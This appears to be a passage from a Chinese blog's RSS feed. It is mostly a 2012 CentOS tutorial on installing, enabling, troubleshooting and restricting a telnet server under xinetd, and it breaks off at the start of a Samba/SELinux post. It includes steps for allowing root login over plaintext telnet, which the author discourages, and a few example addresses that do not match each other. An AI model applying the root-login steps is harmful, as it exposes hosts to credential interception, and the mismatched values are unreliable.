font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　1、 telnet-client (或 telnet)，这个软件包提供的是 telnet 客户端程序；</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　2、是 telnet-server 软件包，这个才是真正的 Telnet server 软件包！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　安装之前先检测是否这些软件包已安装，方法如下：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]#rpm &#8211;qa |grep telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">telnet-server-0.17-38.e15</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　如果没有检测到软件包，需要进行安装，CentOS服务器模式默认已安装了telnet软件包，但是服务器需要telnet-server软件包才行（安装</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">包在光盘内 也可在在网络上下载安装）</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">我的是硬盘安装的CentOS系统，所以会挂载硬盘分区之后再挂载镜像，光盘安装方法相似！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@linuxchao root]mount /dev/hda6 /mnt/da #da是我在/mnt下建立的目录，hda6分区为centos镜像所在</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@linuxchao root]mount -t iso9660 -o loop /mnt/da/CentOS-5.1-i386-bin-DVD.iso /mnt/iso #iso目录也是我建的</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@linuxchao root]cd /mnt/iso/CentOS #这个目录是rpm包所在的目录</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@linuxchao root]rpm -ivh telnet-server-0.17-38.e15.rpm</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">上面就安装好telnet服务器软件包了，现在来查看一下。</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]#rpm &#8211;qa |grep telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　telnet-0.17-38.e15</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">telnet-server-0.17-38.e15</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">二、启动telnet服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　1、开启服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　方法一：使用ntsysv,在出现的窗口之中，将 telnet 勾选起来，然后按下 OK 即可 ！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　方法二：编辑 /etc/xinetd.d/telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]# vi /etc/xinetd.d/telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　找到 disable = yes&lt;==就是改这里，将 yes 改成 no 即可！服务预设是关闭的</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">方法三：使用chkconfig命令直接开启</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]chkconfig telnet on</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　2、激活服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　telnet 是挂在 xinetd 底下的，所以自然只要重新激活 xinetd 就能够将 xinetd 里头的设定重新读进来，所以刚刚设定的 telnet 自然</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">也就可以被激活。</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]# service xinetd restart</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">或者[root@linuxchao root]# /etc/rc.d/init.d/xinetd restart #这个是比较正规的方法</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">三、测试服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]#telnet localhost</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　如果配置正确，系统提示输入远程机器的用户名和密码</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　Login:</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　Password:</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　注：默认只允许普通用户,因此可先建立一个普通用户来做测试，不过也可以通过下面的方法来解决root访问的问题</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Telnet root用户的登入</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　root 不能直接以 telnet 连接上主机。 telnet 不是很安全，默认的情况之下就是无法允许 root 以 telnet 登入 Linux 主机的 。若要</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">允许root用户登入，可用下列方法</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　[root@linuxchao root]# vi /etc/pam.d/login</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　#auth required pam_securetty.so #将这一行加上注释！　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　或</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　# mv /etc/securetty /etc/securetty.bak</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　这样一来， root 将可以直接进入 Linux 主机。不过，建议不要这样做。还可以在普通用户进入后，切换到root用户,拥有root的权限！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">四、客户端访问实验</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">基础由于LINUX为了提高TELNET的安全性和防止未授权的用户利用TELNET的BUG</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">下面我们来看一下二种错误：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">第一种：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@linuxchao ~]# telnet 192.168.1.87</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Trying 192.168.1.87...</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">telnet: connect to address 192.168.1.87: No route to host</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">telnet: Unable to connect to remote host: No route to host</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">解决方法：这种问题防火墙没有允许telnet服务，连接被阻止，默认CentOS只允许SSH，所以进入其自定义选项，在telnet前打个勾！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">第二种</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[root@test xinetd.d]# telnet 172.25.1.3</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Trying 172.25.1.3...</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Connected to 172.25.1.3 (172.25.1.3).</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Escape character is '^]'.</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">getnameinf localhost: Success</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Temporary failure in name resolution: Illegal seek</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">Connection closed by foreign host.</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">这一个就是/etc/hosts文件配置问题</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">解决方法：我在里面加两个IP地址，内容如下：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">[linuxchao@localhost ~]$ more /etc/hosts</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; "># Do not remove the following line, or various programs</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; "># that require network functionality will fail.</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">127.0.0.1localhost.localdomainlocalhost</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">::1localhost6.localdomain6localhost6</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">192.168.1.88</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">192.168.1.86</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">说明：因为客户机的名字不好记就没写进去,内容格式应为 127.0.0.1 pcname</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">总结：在使用telnet时要记得1.打开防火墙对telnet的限制2./etc/hosts对客户机的限制3.注意/etc/hosts.allow与/etc/hosts.deny两个文件</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">里的内容，都有可能会限制访问，这里只是局域网测试就不说多了。</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">五、Telnet服务限制</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　如果原本的默认值你并不满意，那么你可以修改成比较安全一点的机制。假设你这个 Linux 是一部主机，而且他有两块网络接口，分别是</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">对外的 192.168.0.1 与对内的212.45.16.5 这两个，如果你想要让对内的接口限制较松，而对外的限制较严格，你可以这样的来设定：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　#vi /etc/xinetd.d/telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　# 先针对对内的较为松散的限制来设定：</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　service telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　{ disable　　　　= no　　　　　　　　 &lt;==预设就是激活 telnet 服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　bind 　　　　　 = 212.45.16.5　　　 &lt;==只允许经由这个适配卡的封包进来</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　only_from 　　　= 212.45.16.0/24　　　&lt;==只允许 210.45.160.0/24 这个网段的主机联机进来使用 telnet 的服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　.....</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　}</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　# 再针对外部的联机来进行限制</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　service telnet</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　{</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　disable　　　　 = no&lt;==预设就是激活 telnet 服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　bind 　　　　　 = 192.168.0.1&lt;==只允许经由这个适配卡的封包进来</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　only_from 　　　= 192.168.0.0/16&lt;==只允许 192.168.0.0 ~ 192.168.255.255 这个网段联机进来使用 telnet 的服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　only_from 　　　= .edu.cn&lt;==重复设定，只有教育网才能联机！</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　no_access 　　　= 192.168.25.{10,26}&lt;==不许这些 PC 登入</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　access_times　　= 1:00-9:00 20:00-23:59 &lt;==每天只有这两个时段开放服务</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　......</span><br style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; " /><span style="color: #333333; font-family: Arial; font-size: 14px; line-height: 26px; text-align: left; background-color: #ffffff; ">　　}</span>&nbsp;<img src ="http://www.blogjava.net/kxbin/aggbug/383526.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-19 18:08 <a href="http://www.blogjava.net/kxbin/articles/383526.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>访问samba服务器错误："您可能没有权限使用网络资源"</title><link>http://www.blogjava.net/kxbin/articles/383517.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 19 Jul 2012 08:25:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383517.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383517.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383517.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383517.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383517.html</trackback:ping><description><![CDATA[<p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">在使用Samba进行建立Window与Linux共享时，要是不能访问,出现&#8220;您可能没有权限使用网络资源&#8221;，</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">那就是SELinux在作怪了</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">[</p><span style="font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">SELinux(Security-Enhanced Linux) 是美国国家安全局（NSA）对于强制访问控制的实现，是 Linux&amp;reg; 上最杰出的新安全子系统。NSA是在Linux社区的帮助下开发了一种访问控制体系，在这种访问控制体系的限制下，进程只能访问那些在他的任务中所需要文件。SELinux 默认安装在 Fedora 和 Red Hat Enterprise Linux 上，也可以作为其他发行版上容易安装的包得到。</span><br style="font-family: Helvetica, 